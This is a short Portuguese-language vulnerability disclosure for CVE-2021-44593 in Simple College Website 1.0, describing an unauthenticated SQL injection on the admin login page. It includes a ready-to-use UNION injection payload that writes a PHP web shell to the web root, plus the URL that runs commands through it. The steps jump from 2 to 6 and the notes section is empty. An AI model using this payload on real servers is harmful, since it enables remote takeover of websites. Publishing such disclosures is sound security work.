CVE-2021-44593

Divulgação pública da CVE-2021-44593. Uma vulnerabilidade de injeção SQL/upload arbitrário de arquivos/execução remota de código no Simple College Website.

DESCRIÇÃO

O Simple College Website 1.0 é vulnerável a uma injeção SQL baseada em UNION não autenticada no parâmetro "username" da página /admin/login.php, que pode então ser explorada para fazer upload de arquivos arbitrários e obter execução remota de código.

COMPONENTES AFETADOS

A função login() em admin_class.php

PASSOS PARA REPRODUZIR

1. Acesse a página de login do administrador (geralmente /admin/login.php)
2. Envie o formulário de login com o parâmetro POST "username" contendo a seguinte injeção SQL baseada em UNION:

' union select null, null, ("<?php system($_GET['cmd']);?>"), null, null INTO OUTFILE '/var/www/html/testing.php'; -- -

6. Navegue até /testing.php?cmd=id

NOTAS